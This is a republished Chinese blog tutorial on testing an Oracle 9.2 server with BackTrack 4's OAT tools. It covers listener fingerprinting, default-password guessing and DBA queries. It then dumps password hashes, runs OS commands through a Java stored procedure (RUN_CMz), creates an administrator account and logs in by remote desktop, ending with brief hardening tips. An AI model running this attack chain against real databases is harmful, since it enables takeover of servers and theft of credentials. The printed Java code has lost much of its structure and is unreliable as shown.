天天看点

BackTrack 4 OAT软件包检测ORACLE服务器安全性!

这次的内容是用 BackTrack 4 检测ORACLE服务器的安全性。

BackTrack 4 整合了很多hack软件,作为测试的一个平台系统,使用BackTrack做各种测试是很方便的。

BT4里内嵌了一套针对ORACLE数据库的检测工具集:OAT(Oracle Auditing Tools)

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190605591.jpg"></a>

当然开始前还需要安装 JAVA 和 ORACLE JDBC下载地址:

Java Runtime Environment

Oracle JDBC Driver (classes111.zip or classes12.zip)

准备工作一切就绪,我们开始进行检测~~

一 我们先使用 otnsctl 来看看ORACLE服务器是使用什么操作系统、数据库版本、SID名称及详细的Services服务信息

指令格式:./otnsctl.sh -s ip -I windows

成功连接后会出现tnscmd&gt;提示符,有4项功能:1设置连接监听器的密码 2 查看服务信息 3 SID信息 4 查看数据库版本

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190638698.jpg"></a>

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190708107.jpg"></a>

现在我们获知这台oracle服务器操作系统是32位WINDOWS,数据库版本是9.2.0.1.0,SID是:STARLIMS。

二 接着使用 opwg.sh 检测用户和口令,看是否存在疏忽遗漏的默认口令。

命令格式:./opwg.sh -s ip

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190740288.jpg"></a>

检测出了SID和一个默认用户口令。

三 有了用户口令、SID。就可以用 oquery.sh 执行SQL语句查询。

命令格式:./oquery.sh -s ip -u name -p password -d SID

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190812709.jpg"></a>

知道当前用户口令还是DBA权限,GOOD~

四 再要进行深入,用ORACLE客户端连接就简单很多。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190843958.jpg"></a>

用SQL脚本直接执行指令(比起手写输入要省事),查询用户HASH。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/190924137.jpg"></a>

最后就是尝试创建管理员用户。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191007979.jpg"></a>

使用rdesktop连接远程桌面。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191106587.jpg"></a>

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191126238.jpg"></a>

检测目的达到,由于数据库没有把dbsnmp这个默认用户设置为locked,在基本信息泄露后,通过该用户连接到数据库,导致服务器失陷,如服务器后面还有域的话,

或会被渗透,那对于整个内网来说将会是灾难。

检测结束删除刚才创建的用户,恢复原来状态。

<a target="_blank" href="http://blog.51cto.com/attachment/201108/191244781.jpg"></a>

建议不需要listener的就关闭监听。把不使用的默认用户设置LOCKED状态。用户权限要设置清晰,多余权限一律不予分配。

就写到这。由于本人刚开始学习,文中难免有错漏,希望各位见谅,吾还在不断努力学习中。。。 ^-^

PS:贴出文中提到的SQL代码

see.sql

====================================================

select a.username, a.password

from sys.dba_users a left outer join sys.dba_users b on

b.username = a.username

;

java.sql

create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer

, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

e.printStackTrace();

RC = -1;

finally

return RC;

/

create or replace

function RUN_CMz(p_cmd in varchar2) return number

language java

name 'util.RunThis(java.lang.String) return integer';

create or replace procedure RC(p_cmd in varChar)

x number;

begin

x := RUN_CMz(p_cmd);

end;

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system;

exec :x:=run_cmz('net1 user');

本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/638582,如需转载请自行联系原作者